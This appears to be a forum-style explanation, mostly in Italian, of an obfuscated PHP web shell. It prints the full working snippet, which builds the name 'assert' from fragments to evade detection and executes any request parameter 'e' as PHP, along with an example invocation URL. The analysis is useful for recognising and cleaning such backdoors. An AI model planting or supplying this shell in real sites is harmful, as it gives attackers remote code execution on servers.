È una shell Web offuscata che consente l'esecuzione di codice in modalità remota.
Lo script alimenta $_REQUEST['e']
nella funzione assert()
. Questo valuta il parametro di richiesta e
come PHP. Usalo in questo modo:
http://example.com/shell.php?e=phpinfo()
assert()
è una funzionalità di debug per valutare asserzioni. Ma se lo si alimenta con una stringa arbitraria, verrà eseguito come un'espressione PHP. È un modo ingegnoso per evitare eval()
per impedire il rilevamento di malware.
Ecco lo snippet riformattato e commentato:
<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
// Complicate static analysis by assembling "assert" from multiple strings
$b = "ass"."ert";
// Evaluate assertion (yes, in PHP you can "call" a string as function name)
$a = $b($_REQUEST['e']);
// Junk. The assertion has already run, this doesn't do anything
${'a'};
}
?>
How does ${'a'}
lead to code execution?
Non è così. $b($_REQUEST['e'])
è dove viene eseguita l'asserzione. Il codice funziona senza ${'a'}
.
Is the injected code sent by POST request?
$_REQUEST
consente di inviare il parametro tramite GET
e POST
.